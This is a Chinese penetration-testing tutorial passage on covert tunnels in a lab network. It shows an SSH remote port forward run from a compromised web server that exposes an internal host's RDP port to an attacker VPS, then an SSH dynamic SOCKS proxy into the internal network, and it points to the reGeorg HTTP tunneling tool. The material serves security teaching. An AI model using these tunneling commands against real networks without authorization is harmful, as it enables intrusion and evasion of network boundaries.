内网渗透测试:隐藏通讯隧道技术(下)(2)

内网渗透测试:隐藏通讯隧道技术(下)

还是相似的测试环境,但此时内网中没有了边界设备,所以攻击者vps不能访问内网中的这三台机器;内网web服务器可以访问外网vps,windows server 8和域控制器都不能访问外网vps。我们的思路是:通过外网vps访问内网windows server 8的3389端口。

在web服务器(192.192.52.128)上执行如下命令,

ssh -CfNg -R 3307(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.101(vps) // 受害机主动连接vps

-R:远程端口转发

内网渗透测试:隐藏通讯隧道技术(下)

vps上面可见:

这里,我们以web服务器为跳板,将vps的3307端口的流量转发到了内网windows server 8(192.168.52.138)的3389端口上,我们访问vps的3307端口,即可访问内网windows server 8的3389端口远程桌面了:

内网渗透测试:隐藏通讯隧道技术(下)

动态转发实验

前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同网络中的网站。这类应用的特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,因而需要一种专门的端口转发方式,即 “动态端口转发”。SSH 动态端口转发是通过 Socks 协议实现的,创建动态端口转发时 SSH 服务器就类似一个 Socks 代理服务器,所以这种转发方式也叫 Socks 转发。

测试环境如下:

内网渗透测试:隐藏通讯隧道技术(下)

我们在vps上面执行如下命令,建立一个动态的SOCKS代理通道,

ssh -CfNg -D 7000 root@192.168.1.103(内网web)

这里,命令中不需要像前两个一样指定目标服务器和端口号。执行上面的命令后 SSH 客户端(攻击机vps)就开始监听本机 localhost 的 7000 端口。你可以把本机上浏览器网络配置中的 Socks 服务器指定为127.0.0.1:7000。然后浏览器中的请求会被转发到 SSH 服务端(内网web服务器),并从 SSH 服务端与目标站点机器(内网文件服务器)建立连接进行通信。

内网渗透测试:隐藏通讯隧道技术(下)

可以看到,在使用动态映射的时候,本地主机的ssh进程监听了7000端口。我们在攻击者vps上面打开浏览器,进行设置,设置代理网络:

内网渗透测试:隐藏通讯隧道技术(下)

这样,就可以通过浏览器访问内网文件服务器了:

内网渗透测试:隐藏通讯隧道技术(下)

这里的动态端口转发其实就是建立一个ssh加密的SOCKS代理通道,SOCKS代理它只是简单地将一端的系统连接到另外一端,把你的网络数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。任何支持SOCKS协议的程序都可以使用这个加密通道进行代理访问。

HTTP(S) 协议

HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP Service 代理用于将所有的流量转发到内网。

reGeorg

下载地址:https://github.com/sensepost/reGeorg

首先我们需要明白正向代理和反向代理的区别:

 

正向代理(Forward Proxy)

Lhost-->proxy-->Rhost

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/d39d540f40e9b95bf07d6bc7a5710a8b.html